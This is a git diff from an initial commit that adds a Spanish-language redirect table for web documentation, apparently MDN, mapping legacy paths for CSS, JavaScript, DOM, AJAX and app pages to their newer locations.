initial commit

3523 files changed, 520862 insertions, 0 deletions

diff --git a/files/es/_redirects.txt b/files/es/_redirects.txt
new file mode 100644
index 0000000000..37d2fafac7
--- /dev/null
+++ b/files/es/_redirects.txt
@@ -0,0 +1,1987 @@
+# FROM-URL	TO-URL
+/es/docs/AJAX	/es/docs/Web/Guide/AJAX
+/es/docs/AJAX/Comunidad	/es/docs/Web/Guide/AJAX/Comunidad
+/es/docs/AJAX/Primeros_Pasos	/es/docs/Web/Guide/AJAX/Primeros_Pasos
+/es/docs/AJAX:Comunidad	/es/docs/Web/Guide/AJAX/Comunidad
+/es/docs/AJAX:Primeros_Pasos	/es/docs/Web/Guide/AJAX/Primeros_Pasos
+/es/docs/Accesibilidad	/es/docs/Web/Accesibilidad
+/es/docs/Accesibilidad/Comunidad	/es/docs/Web/Accesibilidad/Comunidad
+/es/docs/Accesibilidad:Comunidad	/es/docs/Web/Accesibilidad/Comunidad
+/es/docs/Accessibility	/es/docs/Web/Accesibilidad
+/es/docs/Aplicaciones	/es/docs/Web/Aplicaciones
+/es/docs/Aplicaciones/API_JavaScript_de_aplicaciones	/es/docs/Web/Aplicaciones/API_JavaScript_de_aplicaciones
+/es/docs/Aplicaciones/Aplicaciones_para_Android	/es/docs/Web/Aplicaciones/Aplicaciones_para_Android
+/es/docs/Aplicaciones/Apps_JavaScript_API	/es/docs/Web/Aplicaciones/Apps_JavaScript_API
+/es/docs/Aplicaciones/Arquitectura_de_aplicaciones	/es/docs/Web/Aplicaciones/Build/Arquitectura_de_aplicaciones
+/es/docs/Aplicaciones/CSP	/es/docs/Web/Aplicaciones/CSP
+/es/docs/Aplicaciones/Comenzando_aplicaciones	/es/docs/Web/Aplicaciones/Comenzando_aplicaciones
+/es/docs/Aplicaciones/Comenzar	/es/docs/Web/Aplicaciones/Comenzando_aplicaciones
+/es/docs/Aplicaciones/Comenzar_con_la_creaci%C3%B3n_de_aplicaciones	/es/docs/Web/Aplicaciones/Comenzando_aplicaciones
+/es/docs/Aplicaciones/Desarrollar_aplicaciones_para_juegos	/es/docs/Web/Aplicaciones/Desarrollar_aplicaciones_para_juegos
+/es/docs/Aplicaciones/Desarrollo_de_aplicaciones_para_desarrolladores_web	/es/docs/Web/Aplicaciones/Desarrollo_de_aplicaciones_para_desarrolladores_web
+/es/docs/Aplicaciones/Design	/es/docs/Web/Aplicaciones/Design
+/es/docs/Aplicaciones/Design/Navegacion_Adaptativa	/es/docs/Web/Aplicaciones/Design/Navegacion_Adaptativa
+/es/docs/Aplicaciones/Design/Planning_your_app	/es/docs/Web/Aplicaciones/Design/Planning_your_app
+/es/docs/Aplicaciones/Design_Guidelines	/es/docs/Web/Aplicaciones/Design_Guidelines
+/es/docs/Aplicaciones/Detalles_especificos_de_plataforma	/es/docs/Web/Aplicaciones/Detalles_especificos_de_plataforma
+/es/docs/Aplicaciones/Developing	/es/docs/Web/Aplicaciones/Build
+/es/docs/Aplicaciones/Developing/Manifest	/es/docs/Web/Aplicaciones/Build/Manifest
+/es/docs/Aplicaciones/FAQs	/es/docs/Web/Aplicaciones/FAQs
+/es/docs/Aplicaciones/FAQs/Preguntas_Generales	/es/docs/Web/Aplicaciones/FAQs/Preguntas_Generales
+/es/docs/Aplicaciones/FAQs/Sobre_aplicaciones	/es/docs/Web/Aplicaciones/FAQs/Sobre_aplicaciones
+/es/docs/Aplicaciones/FAQs/Sobre_manifiestos	/es/docs/Web/Aplicaciones/FAQs/Sobre_manifiestos
+/es/docs/Aplicaciones/Games	/es/docs/Web/Aplicaciones/Games
+/es/docs/Aplicaciones/Games/Consideraciones_especiales	/es/docs/Web/Aplicaciones/Games/Consideraciones_especiales
+/es/docs/Aplicaciones/Iniciarse	/es/docs/Web/Aplicaciones/Comenzando_aplicaciones
+/es/docs/Aplicaciones/Introducci%C3%B3n_a_la_creaci%C3%B3n_de_aplicaciones	/es/docs/Web/Aplicaciones/Introducci%C3%B3n_a_la_creaci%C3%B3n_de_aplicaciones
+/es/docs/Aplicaciones/Manifest	/es/docs/Web/Aplicaciones/Build/Manifest
+/es/docs/Aplicaciones/Manifiesto	/es/docs/Web/Aplicaciones/Manifiesto
+/es/docs/Aplicaciones/Para_desarrolladores_de_aplicaciones_para_dispositivos_m%C3%B3viles	/es/docs/Web/Aplicaciones/Para_desarrolladores_de_aplicaciones_para_dispositivos_m%C3%B3viles
+/es/docs/Aplicaciones/Para_desarrolladores_moviles	/es/docs/Web/Aplicaciones/Para_desarrolladores_moviles
+/es/docs/Aplicaciones/Para_desarrolladores_web	/es/docs/Web/Aplicaciones/Para_desarrolladores_web
+/es/docs/Aplicaciones/Preguntas_frecuentes	/es/docs/Web/Aplicaciones/Preguntas_frecuentes
+/es/docs/Aplicaciones/Quickstart	/es/docs/Web/Aplicaciones/Quickstart
+/es/docs/Aplicaciones/Quickstart/Design	/es/docs/Web/Aplicaciones/Quickstart/Design
+/es/docs/Aplicaciones/Quickstart/Design/Concept_A_great_app	/es/docs/Web/Aplicaciones/Quickstart/Design/Concept_A_great_app
+/es/docs/Aplicaciones/Quickstart/Design/Pautas_UI	/es/docs/Web/Aplicaciones/Quickstart/Design/Pautas_UI
+/es/docs/Aplicaciones/Quickstart/Design/Principios_de_dise%C3%B1o	/es/docs/Web/Aplicaciones/Quickstart/Design/Principios_de_dise%C3%B1o
+/es/docs/Aplicaciones/Reference	/es/docs/Web/Aplicaciones/Reference
+/es/docs/Aplicaciones/Reference_apps	/es/docs/Web/Aplicaciones/Reference_apps
+/es/docs/Aplicaciones/Tutorials	/es/docs/Web/Aplicaciones/Tutorials
+/es/docs/Aplicaciones/Tutorials/General	/es/docs/Web/Aplicaciones/Tutorials/General
+/es/docs/Aplicaciones/Usar_aplicaciones_sin_conexi%C3%B3n	/es/docs/Web/Aplicaciones/Usar_aplicaciones_sin_conexi%C3%B3n
+/es/docs/Aplicaciones/Using_apps_offline	/es/docs/Web/Aplicaciones/Using_apps_offline
+/es/docs/Aplicaciones/permisos_de_las_aplicaciones	/es/docs/Web/Aplicaciones/permisos_de_las_aplicaciones
+/es/docs/ArrastrarSoltar	/en-US/docs/Web/API/HTML_Drag_and_Drop_API
+/es/docs/ArrastrarSoltar/Arrastrar_y_soltar	/es/docs/DragDrop/Drag_and_Drop
+/es/docs/C%C3%B3digo_fuente_de_Mozilla_(CVS)	/es/docs/Mozilla/Developer_guide/Source_Code/C%C3%B3digo_fuente_de_Mozilla_(CVS)
+/es/docs/C%C3%B3digo_fuente_de_Mozilla_(Mercurial)	/es/docs/Mozilla/Developer_guide/Source_Code/C%C3%B3digo_fuente_de_Mozilla_(Mercurial)
+/es/docs/CSS	/es/docs/Web/CSS
+/es/docs/CSS/-moz-force-broken-image-icon	/es/docs/Web/CSS/-moz-force-broken-image-icon
+/es/docs/CSS/::selection	/es/docs/Web/CSS/::selection
+/es/docs/CSS/:active	/es/docs/Web/CSS/:active
+/es/docs/CSS/:default	/es/docs/Web/CSS/:default
+/es/docs/CSS/:empty	/es/docs/Web/CSS/:empty
+/es/docs/CSS/:first-child	/es/docs/Web/CSS/:first-child
+/es/docs/CSS/:hover	/es/docs/Web/CSS/:hover
+/es/docs/CSS/:invalid	/es/docs/Web/CSS/:invalid
+/es/docs/CSS/:last-child	/es/docs/Web/CSS/:last-child
+/es/docs/CSS/:last-of-type	/es/docs/Web/CSS/:last-of-type
+/es/docs/CSS/:nth-child	/es/docs/Web/CSS/:nth-child
+/es/docs/CSS/@font-face	/es/docs/Web/CSS/@font-face
+/es/docs/CSS/@import	/es/docs/Web/CSS/@import
+/es/docs/CSS/@keyframes	/es/docs/Web/CSS/@keyframes
+/es/docs/CSS/@media	/es/docs/Web/CSS/@media
+/es/docs/CSS/Comenzando_(tutorial_CSS)	/es/docs/Web/CSS/Comenzando_(tutorial_CSS)
+/es/docs/CSS/Como_iniciar	/es/docs/Web/CSS/Como_iniciar
+/es/docs/CSS/Como_iniciar/Por_que_usar_CSS	/es/docs/Web/CSS/Como_iniciar/Por_que_usar_CSS
+/es/docs/CSS/Como_iniciar/Porqu%C3%A9_usar_CSS	/es/docs/Web/CSS/Como_iniciar/Por_que_usar_CSS
+/es/docs/CSS/Como_iniciar/Que_es_CSS	/es/docs/Web/CSS/Como_iniciar/Que_es_CSS
+/es/docs/CSS/Consultas_multimedia	/es/docs/CSS/Media_queries
+/es/docs/CSS/Escribir_CSS_eficiente	/es/docs/Web/CSS/Escribir_CSS_eficiente
+/es/docs/CSS/Getting_Started	/es/docs/Web/CSS/Comenzando_(tutorial_CSS)
+/es/docs/CSS/Introducci%C3%B3n	/es/docs/Web/CSS/Introducci%C3%B3n
+/es/docs/CSS/Primeros_pasos	/es/docs/Web/CSS/Primeros_pasos
+/es/docs/CSS/Pseudoelementos	/es/docs/Web/CSS/Pseudoelementos
+/es/docs/CSS/Selectores_atributo	/es/docs/Web/CSS/Selectores_atributo
+/es/docs/CSS/Transiciones_de_CSS	/es/docs/Web/CSS/Transiciones_de_CSS
+/es/docs/CSS/Usando_animaciones_CSS	/es/docs/Web/CSS/CSS_Animations/Usando_animaciones_CSS
+/es/docs/CSS/Usando_gradientes_con_CSS	/es/docs/CSS/Using_CSS_gradients
+/es/docs/CSS/Using_CSS_transforms	/es/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms
+/es/docs/CSS/Uso_de_CSS_transforms	/es/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms
+/es/docs/CSS/Valor_calculado	/es/docs/Web/CSS/Valor_calculado
+/es/docs/CSS/Valor_inicial	/es/docs/Web/CSS/Valor_inicial
+/es/docs/CSS/after	/es/docs/Web/CSS/%3A%3Aafter
+/es/docs/CSS/animation	/es/docs/Web/CSS/animation
+/es/docs/CSS/animation-delay	/es/docs/Web/CSS/animation-delay
+/es/docs/CSS/animation-direction	/es/docs/Web/CSS/animation-direction
+/es/docs/CSS/animation-duration	/es/docs/Web/CSS/animation-duration
+/es/docs/CSS/auto	/es/docs/Web/CSS/auto
+/es/docs/CSS/azimuth	/es/docs/Web/CSS/azimuth
+/es/docs/CSS/background	/es/docs/Web/CSS/background
+/es/docs/CSS/background-attachment	/es/docs/Web/CSS/background-attachment
+/es/docs/CSS/background-color	/es/docs/Web/CSS/background-color
+/es/docs/CSS/background-image	/es/docs/Web/CSS/background-image
+/es/docs/CSS/background-origin	/es/docs/Web/CSS/background-origin
+/es/docs/CSS/background-position	/es/docs/Web/CSS/background-position
+/es/docs/CSS/background-repeat	/es/docs/Web/CSS/background-repeat
+/es/docs/CSS/background-size	/es/docs/Web/CSS/background-size
+/es/docs/CSS/before	/es/docs/Web/CSS/%3A%3Abefore
+/es/docs/CSS/border	/es/docs/Web/CSS/border
+/es/docs/CSS/border-bottom	/es/docs/Web/CSS/border-bottom
+/es/docs/CSS/border-bottom-color	/es/docs/Web/CSS/border-bottom-color
+/es/docs/CSS/border-bottom-style	/es/docs/Web/CSS/border-bottom-style
+/es/docs/CSS/border-bottom-width	/es/docs/Web/CSS/border-bottom-width
+/es/docs/CSS/border-collapse	/es/docs/Web/CSS/border-collapse
+/es/docs/CSS/border-color	/es/docs/Web/CSS/border-color
+/es/docs/CSS/border-image	/es/docs/Web/CSS/border-image
+/es/docs/CSS/border-left	/es/docs/Web/CSS/border-left
+/es/docs/CSS/border-left-color	/es/docs/Web/CSS/border-left-color
+/es/docs/CSS/border-radius	/es/docs/Web/CSS/border-radius
+/es/docs/CSS/border-spacing	/es/docs/Web/CSS/border-spacing
+/es/docs/CSS/border-style	/es/docs/Web/CSS/border-style
+/es/docs/CSS/border-width	/es/docs/Web/CSS/border-width
+/es/docs/CSS/bottom	/es/docs/Web/CSS/bottom
+/es/docs/CSS/box-shadow	/es/docs/Web/CSS/box-shadow
+/es/docs/CSS/calc	/es/docs/Web/CSS/calc()
+/es/docs/CSS/capacidad_de_animacion_de_propiedades_CSS	/es/docs/Web/CSS
+/es/docs/CSS/clip	/es/docs/Web/CSS/clip
+/es/docs/CSS/color	/es/docs/Web/CSS/color
+/es/docs/CSS/computed_value	/es/docs/Web/CSS/Valor_calculado
+/es/docs/CSS/content	/es/docs/Web/CSS/content
+/es/docs/CSS/cursor	/es/docs/Web/CSS/cursor
+/es/docs/CSS/direction	/es/docs/Web/CSS/direction
+/es/docs/CSS/display	/es/docs/Web/CSS/display
+/es/docs/CSS/float	/es/docs/Web/CSS/float
+/es/docs/CSS/font	/es/docs/Web/CSS/font
+/es/docs/CSS/font-family	/es/docs/Web/CSS/font-family
+/es/docs/CSS/font-size	/es/docs/Web/CSS/font-size
+/es/docs/CSS/font-size-adjust	/es/docs/Web/CSS/font-size-adjust
+/es/docs/CSS/font-style	/es/docs/Web/CSS/font-style
+/es/docs/CSS/font-variant	/es/docs/Web/CSS/font-variant
+/es/docs/CSS/font-weight	/es/docs/Web/CSS/font-weight
+/es/docs/CSS/height	/es/docs/Web/CSS/height
+/es/docs/CSS/ime-mode	/es/docs/Web/CSS/ime-mode
+/es/docs/CSS/inherit	/es/docs/Web/CSS/inherit
+/es/docs/CSS/inheritance	/es/docs/Web/CSS/inheritance
+/es/docs/CSS/initial	/es/docs/Web/CSS/initial
+/es/docs/CSS/integer	/es/docs/Web/CSS/integer
+/es/docs/CSS/left	/es/docs/Web/CSS/left
+/es/docs/CSS/length	/es/docs/Web/CSS/length
+/es/docs/CSS/line-height	/es/docs/Web/CSS/line-height
+/es/docs/CSS/list-style	/es/docs/Web/CSS/list-style
+/es/docs/CSS/list-style-image	/es/docs/Web/CSS/list-style-image
+/es/docs/CSS/list-style-position	/es/docs/Web/CSS/list-style-position
+/es/docs/CSS/list-style-type	/es/docs/Web/CSS/list-style-type
+/es/docs/CSS/margin-right	/es/docs/Web/CSS/margin-right
+/es/docs/CSS/max-height	/es/docs/Web/CSS/max-height
+/es/docs/CSS/max-width	/es/docs/Web/CSS/max-width
+/es/docs/CSS/min-height	/es/docs/Web/CSS/min-height
+/es/docs/CSS/min-width	/es/docs/Web/CSS/min-width
+/es/docs/CSS/none	/es/docs/Web/CSS/float
+/es/docs/CSS/normal	/es/docs/Web/CSS/normal
+/es/docs/CSS/number	/es/docs/Web/CSS/number
+/es/docs/CSS/opacity	/es/docs/Web/CSS/opacity
+/es/docs/CSS/overflow	/es/docs/Web/CSS/overflow
+/es/docs/CSS/perspective	/es/docs/Web/CSS/perspective
+/es/docs/CSS/porcentaje	/es/docs/Web/CSS/porcentaje
+/es/docs/CSS/position	/es/docs/Web/CSS/position
+/es/docs/CSS/right	/es/docs/Web/CSS/right
+/es/docs/CSS/rtl	/es/docs/Web/CSS/rtl
+/es/docs/CSS/top	/es/docs/Web/CSS/top
+/es/docs/CSS/transform	/es/docs/Web/CSS/transform
+/es/docs/CSS/transform-origin	/es/docs/Web/CSS/transform-origin
+/es/docs/CSS/transition-delay	/es/docs/Web/CSS/transition-delay
+/es/docs/CSS/vac%C3%ADo	/es/docs/Web/CSS/:empty
+/es/docs/CSS/vertical-align	/es/docs/Web/CSS/vertical-align
+/es/docs/CSS/visibility	/es/docs/Web/CSS/visibility
+/es/docs/CSS/width	/es/docs/Web/CSS/width
+/es/docs/CSS/z-index	/es/docs/Web/CSS/z-index
+/es/docs/CSS::default	/es/docs/Web/CSS/:default
+/es/docs/CSS:Comunidad	/es/docs/CSS/Comunidad
+/es/docs/CSS:Media:Visual	/es/docs/CSS/Media/Visual
+/es/docs/CSS:Valor_calculado	/es/docs/Web/CSS/Valor_calculado
+/es/docs/CSS:Valor_inicial	/es/docs/Web/CSS/Valor_inicial
+/es/docs/CSS:after	/es/docs/Web/CSS/%3A%3Aafter
+/es/docs/CSS:auto	/es/docs/Web/CSS/auto
+/es/docs/CSS:azimuth	/es/docs/Web/CSS/azimuth
+/es/docs/CSS:background	/es/docs/Web/CSS/background
+/es/docs/CSS:background-attachment	/es/docs/Web/CSS/background-attachment
+/es/docs/CSS:background-color	/es/docs/Web/CSS/background-color
+/es/docs/CSS:background-image	/es/docs/Web/CSS/background-image
+/es/docs/CSS:background-position	/es/docs/Web/CSS/background-position
+/es/docs/CSS:background-repeat	/es/docs/Web/CSS/background-repeat
+/es/docs/CSS:before	/es/docs/Web/CSS/%3A%3Abefore
+/es/docs/CSS:border	/es/docs/Web/CSS/border
+/es/docs/CSS:border-bottom	/es/docs/Web/CSS/border-bottom
+/es/docs/CSS:border-bottom-color	/es/docs/Web/CSS/border-bottom-color
+/es/docs/CSS:border-bottom-style	/es/docs/Web/CSS/border-bottom-style
+/es/docs/CSS:border-bottom-width	/es/docs/Web/CSS/border-bottom-width
+/es/docs/CSS:border-collapse	/es/docs/Web/CSS/border-collapse
+/es/docs/CSS:border-color	/es/docs/Web/CSS/border-color
+/es/docs/CSS:border-left	/es/docs/Web/CSS/border-left
+/es/docs/CSS:border-left-color	/es/docs/Web/CSS/border-left-color
+/es/docs/CSS:border-spacing	/es/docs/Web/CSS/border-spacing
+/es/docs/CSS:border-style	/es/docs/Web/CSS/border-style
+/es/docs/CSS:border-width	/es/docs/Web/CSS/border-width
+/es/docs/CSS:bottom	/es/docs/Web/CSS/bottom
+/es/docs/CSS:color	/es/docs/Web/CSS/color
+/es/docs/CSS:computed_value	/es/docs/Web/CSS/Valor_calculado
+/es/docs/CSS:content	/es/docs/Web/CSS/content
+/es/docs/CSS:cursor	/es/docs/Web/CSS/cursor
+/es/docs/CSS:direction	/es/docs/Web/CSS/direction
+/es/docs/CSS:display	/es/docs/Web/CSS/display
+/es/docs/CSS:float	/es/docs/Web/CSS/float
+/es/docs/CSS:font	/es/docs/Web/CSS/font
+/es/docs/CSS:font-family	/es/docs/Web/CSS/font-family
+/es/docs/CSS:font-size	/es/docs/Web/CSS/font-size
+/es/docs/CSS:font-size-adjust	/es/docs/Web/CSS/font-size-adjust
+/es/docs/CSS:font-style	/es/docs/Web/CSS/font-style
+/es/docs/CSS:font-variant	/es/docs/Web/CSS/font-variant
+/es/docs/CSS:font-weight	/es/docs/Web/CSS/font-weight
+/es/docs/CSS:height	/es/docs/Web/CSS/height
+/es/docs/CSS:ime-mode	/es/docs/Web/CSS/ime-mode
+/es/docs/CSS:inherit	/es/docs/Web/CSS/inherit
+/es/docs/CSS:inheritance	/es/docs/Web/CSS/inheritance
+/es/docs/CSS:initial	/es/docs/Web/CSS/initial
+/es/docs/CSS:inline	/es/docs/CSS/inline
+/es/docs/CSS:integer	/es/docs/Web/CSS/integer
+/es/docs/CSS:left	/es/docs/Web/CSS/left
+/es/docs/CSS:length	/es/docs/Web/CSS/length
+/es/docs/CSS:line-height	/es/docs/Web/CSS/line-height
+/es/docs/CSS:list-style	/es/docs/Web/CSS/list-style
+/es/docs/CSS:list-style-image	/es/docs/Web/CSS/list-style-image
+/es/docs/CSS:list-style-position	/es/docs/Web/CSS/list-style-position
+/es/docs/CSS:list-style-type	/es/docs/Web/CSS/list-style-type
+/es/docs/CSS:ltr	/es/docs/CSS/ltr
+/es/docs/CSS:margin-right	/es/docs/Web/CSS/margin-right
+/es/docs/CSS:max-height	/es/docs/Web/CSS/max-height
+/es/docs/CSS:max-width	/es/docs/Web/CSS/max-width
+/es/docs/CSS:medium	/es/docs/CSS/medium
+/es/docs/CSS:min-height	/es/docs/Web/CSS/min-height
+/es/docs/CSS:min-width	/es/docs/Web/CSS/min-width
+/es/docs/CSS:none	/es/docs/Web/CSS/float
+/es/docs/CSS:normal	/es/docs/Web/CSS/normal
+/es/docs/CSS:number	/es/docs/Web/CSS/number
+/es/docs/CSS:position	/es/docs/Web/CSS/position
+/es/docs/CSS:right	/es/docs/Web/CSS/right
+/es/docs/CSS:rtl	/es/docs/Web/CSS/rtl
+/es/docs/CSS:static	/es/docs/CSS/static
+/es/docs/CSS:top	/es/docs/Web/CSS/top
+/es/docs/CSS:vac%C3%ADo	/es/docs/Web/CSS/:empty
+/es/docs/CSS:visibility	/es/docs/Web/CSS/visibility
+/es/docs/CSS:visible	/es/docs/CSS/visible
+/es/docs/CSS:width	/es/docs/Web/CSS/width
+/es/docs/Clic	/en-US/docs/Template:Clic
+/es/docs/Compilando_JavaXPCOM	/es/docs/Mozilla/Developer_guide/Documentaci%C3%B3n_para_la_compilaci%C3%B3n/Compilando_JavaXPCOM
+/es/docs/Complementos_de_Firefox._Guia_del_desarrollador	/es/docs/Gu%C3%ADa_para_el_desarrollador_de_agregados_para_Firefox
+/es/docs/Configurar_las_opciones_de_compilaci%C3%B3n	/es/docs/Mozilla/Developer_guide/Documentaci%C3%B3n_para_la_compilaci%C3%B3n/Configurar_las_opciones_de_compilaci%C3%B3n
+/es/docs/Core_JavaScript_1.5_Guide	/es/docs/Web/JavaScript/Guide
+/es/docs/Core_JavaScript_1.5_Guide/Calling_Functions	/es/docs/Web/JavaScript/Guide/Funciones#Llamando_funciones
+/es/docs/Core_JavaScript_1.5_Guide/Defining_Functions	/es/docs/Web/JavaScript/Guide/Funciones
+/es/docs/Core_JavaScript_1.5_Guide/Operators	/es/docs/Web/JavaScript/Referencia/Operadores
+/es/docs/Core_JavaScript_1.5_Guide/Operators/Special_Operators	/es/docs/Web/JavaScript/Referencia/Operadores
+/es/docs/Core_JavaScript_1.5_Guide/Predefined_Core_Objects	/es/docs/Web/JavaScript/Referencia
+/es/docs/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Objeto_Array	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array
+/es/docs/Core_JavaScript_1.5_Guide:Calling_Functions	/es/docs/Web/JavaScript/Guide/Funciones#Llamando_funciones
+/es/docs/Core_JavaScript_1.5_Guide:Creating_New_Objects:Defining_Methods	/es/docs/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Methods
+/es/docs/Core_JavaScript_1.5_Guide:Creating_New_Objects:Defining_Properties_for_an_Object_Type	/es/docs/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Properties_for_an_Object_Type
+/es/docs/Core_JavaScript_1.5_Guide:Creating_New_Objects:Indexing_Object_Properties	/es/docs/Core_JavaScript_1.5_Guide/Creating_New_Objects/Indexing_Object_Properties
+/es/docs/Core_JavaScript_1.5_Guide:Creating_New_Objects:Using_a_Constructor_Function	/es/docs/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_a_Constructor_Function
+/es/docs/Core_JavaScript_1.5_Guide:Creating_New_Objects:Using_this_for_Object_References	/es/docs/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_this_for_Object_References
+/es/docs/Core_JavaScript_1.5_Guide:Defining_Functions	/es/docs/Web/JavaScript/Guide/Funciones
+/es/docs/Core_JavaScript_1.5_Guide:Operators:Special_Operators	/es/docs/Web/JavaScript/Referencia/Operadores
+/es/docs/Core_JavaScript_1.5_Guide:Predefined_Core_Objects:Objeto_Array	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array
+/es/docs/Core_JavaScript_1.5_Reference	/es/docs/Web/JavaScript/Referencia
+/es/docs/Core_JavaScript_1.5_Reference/Objects	/es/docs/Web/JavaScript/Referencia/Objetos_globales
+/es/docs/Core_JavaScript_1.5_Reference/Objects/String	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String
+/es/docs/Core_JavaScript_1.5_Reference/Objects/String/small	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/small
+/es/docs/Core_JavaScript_1.5_Reference:Objects:String:anchor	/es/docs/Core_JavaScript_1.5_Reference/Objects/String/anchor
+/es/docs/Core_JavaScript_1.5_Reference:Objects:String:small	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/small
+/es/docs/Creaci%C3%B3n_de_Componentes_XPCOM:Interior_del_Componente	/es/docs/Creaci%C3%B3n_de_Componentes_XPCOM/Interior_del_Componente
+/es/docs/Creaci%C3%B3n_de_Componentes_XPCOM:Prefacio	/es/docs/Creaci%C3%B3n_de_Componentes_XPCOM/Prefacio
+/es/docs/Creaci%C3%B3n_de_Componentes_XPCOM:Un_vistazo_de_XPCOM	/es/docs/Creaci%C3%B3n_de_Componentes_XPCOM/Un_vistazo_de_XPCOM
+/es/docs/Creaci%C3%B3n_de_Componentes_XPCOM:Uso_de_Componentes_XPCOM	/es/docs/Creaci%C3%B3n_de_Componentes_XPCOM/Uso_de_Componentes_XPCOM
+/es/docs/Creando_Componentes_XPCOM	/es/docs/Creaci%C3%B3n_de_Componentes_XPCOM
+/es/docs/Creando_un_skin_para_Firefox	/es/docs/Creando_un_tema_para_Firefox
+/es/docs/Creando_un_skin_para_Firefox:UUID	/es/docs/Creando_un_skin_para_Firefox/UUID
+/es/docs/Creando_un_skin_para_Firefox:_Como_empezar	/es/docs/Creando_un_skin_para_Firefox/Como_empezar
+/es/docs/Creando_un_skin_para_Firefox:install.rdf	/es/docs/Creando_un_skin_para_Firefox/install.rdf
+/es/docs/Crear_una_barra_lateral_en_Firefox	/es/docs/Crear_un_panel_lateral_en_Firefox
+/es/docs/Creating_a_Skin_for_Firefox:contents.rdf	/es/docs/Creating_a_Skin_for_Firefox/contents.rdf
+/es/docs/DOM/CSS	/es/docs/Web/CSS
+/es/docs/DOM/CameraCapabilities	/es/docs/Web/API/CameraCapabilities
+/es/docs/DOM/CameraCapabilities.effects	/es/docs/Web/API/CameraCapabilities/effects
+/es/docs/DOM/CameraCapabilities.fileFormats	/es/docs/Web/API/CameraCapabilities/fileFormats
+/es/docs/DOM/CameraCapabilities.flashModes	/es/docs/Web/API/CameraCapabilities/flashModes
+/es/docs/DOM/CssRule	/es/docs/Web/API/CSSRule
+/es/docs/DOM/CssRule.cssText	/es/docs/Web/API/CSSRule/cssText
+/es/docs/DOM/CssRule.parentStyleSheet	/es/docs/Web/API/CSSRule/parentStyleSheet
+/es/docs/DOM/CssRule.selectorText	/es/docs/Web/API/CSSStyleRule/selectorText
+/es/docs/DOM/CssRule.style	/es/docs/Web/API/CSSStyleRule/style
+/es/docs/DOM/Document.styleSheets	/es/docs/Web/API/Document/styleSheets
+/es/docs/DOM/Element.setAttribute	/es/docs/Web/API/Element/setAttribute
+/es/docs/DOM/Element.style	/es/docs/Web/API/HTMLElement/style
+/es/docs/DOM/HTMLAudioElement	/es/docs/Web/API/HTMLAudioElement
+/es/docs/DOM/HTMLTableElement	/es/docs/Web/API/HTMLTableElement
+/es/docs/DOM/Manipulating_the_browser_history	/es/docs/DOM/Manipulando_el_historial_del_navegador
+/es/docs/DOM/MozSocial.closePanel	/es/docs/Web/API/MozSocial/closePanel
+/es/docs/DOM/MozSocial.getAttention	/es/docs/Web/API/MozSocial/getAttention
+/es/docs/DOM/MozSocial.getWorker	/es/docs/Web/API/MozSocial/getWorker
+/es/docs/DOM/MozSocial.isVisible	/es/docs/Web/API/MozSocial/isVisible
+/es/docs/DOM/MozSocial.openChatWindow	/es/docs/Web/API/MozSocial/openChatWindow
+/es/docs/DOM/MozSocial.openPanel	/es/docs/Web/API/MozSocial/openPanel
+/es/docs/DOM/Node.appendChild	/es/docs/Web/API/Node/appendChild
+/es/docs/DOM/Node.textContent	/es/docs/Web/API/Node/textContent
+/es/docs/DOM/Selection	/es/docs/Web/API/Selection
+/es/docs/DOM/Selection/addRange	/es/docs/Web/API/Selection/addRange
+/es/docs/DOM/Selection/anchorNode	/es/docs/Web/API/Selection/anchorNode
+/es/docs/DOM/Selection/anchorOffset	/es/docs/Web/API/Selection/anchorOffset
+/es/docs/DOM/Selection/collapse	/es/docs/Web/API/Selection/collapse
+/es/docs/DOM/Selection/collapseToEnd	/es/docs/Web/API/Selection/collapseToEnd
+/es/docs/DOM/Selection/collapseToStart	/es/docs/Web/API/Selection/collapseToStart
+/es/docs/DOM/Selection/containsNode	/es/docs/Web/API/Selection/containsNode
+/es/docs/DOM/Selection/deleteFromDocument	/es/docs/Web/API/Selection/deleteFromDocument
+/es/docs/DOM/Selection/extend	/es/docs/Web/API/Selection/extend
+/es/docs/DOM/Selection/focusNode	/es/docs/Web/API/Selection/focusNode
+/es/docs/DOM/Selection/focusOffset	/es/docs/Web/API/Selection/focusOffset
+/es/docs/DOM/Selection/getRangeAt	/es/docs/Web/API/Selection/getRangeAt
+/es/docs/DOM/Selection/isCollapsed	/es/docs/Web/API/Selection/isCollapsed
+/es/docs/DOM/Selection/rangeCount	/es/docs/Web/API/Selection/rangeCount
+/es/docs/DOM/Selection/removeAllRanges	/es/docs/Web/API/Selection/removeAllRanges
+/es/docs/DOM/Selection/removeRange	/es/docs/Web/API/Selection/removeRange
+/es/docs/DOM/Selection/selectAllChildren	/es/docs/Web/API/Selection/selectAllChildren
+/es/docs/DOM/Selection/toString	/es/docs/Web/API/Selection/toString
+/es/docs/DOM/Style.media	/es/docs/Web/API/StyleSheet/media
+/es/docs/DOM/Style.type	/es/docs/Web/API/StyleSheet/type
+/es/docs/DOM/Stylesheet	/es/docs/Web/API/StyleSheet
+/es/docs/DOM/Stylesheet.cssRules	/es/docs/Web/API/CSSStyleSheet/insertRule
+/es/docs/DOM/Stylesheet.deleteRule	/es/docs/Web/API/CSSStyleSheet/deleteRule
+/es/docs/DOM/Stylesheet.disabled	/es/docs/Web/API/StyleSheet/disabled
+/es/docs/DOM/Stylesheet.href	/es/docs/Web/API/StyleSheet/href
+/es/docs/DOM/Stylesheet.insertRule	/es/docs/Web/API/CSSStyleSheet/insertRule
+/es/docs/DOM/Stylesheet.media	/es/docs/Web/API/StyleSheet/media
+/es/docs/DOM/Stylesheet.ownerNode	/es/docs/Web/API/StyleSheet/ownerNode
+/es/docs/DOM/Stylesheet.ownerRule	/es/docs/Web/API/CSSStyleSheet/ownerRule
+/es/docs/DOM/Stylesheet.parentStyleSheet	/es/docs/Web/API/StyleSheet/parentStyleSheet
+/es/docs/DOM/Stylesheet.title	/es/docs/Web/API/StyleSheet/title
+/es/docs/DOM/Stylesheet.type	/es/docs/Web/API/StyleSheet/type
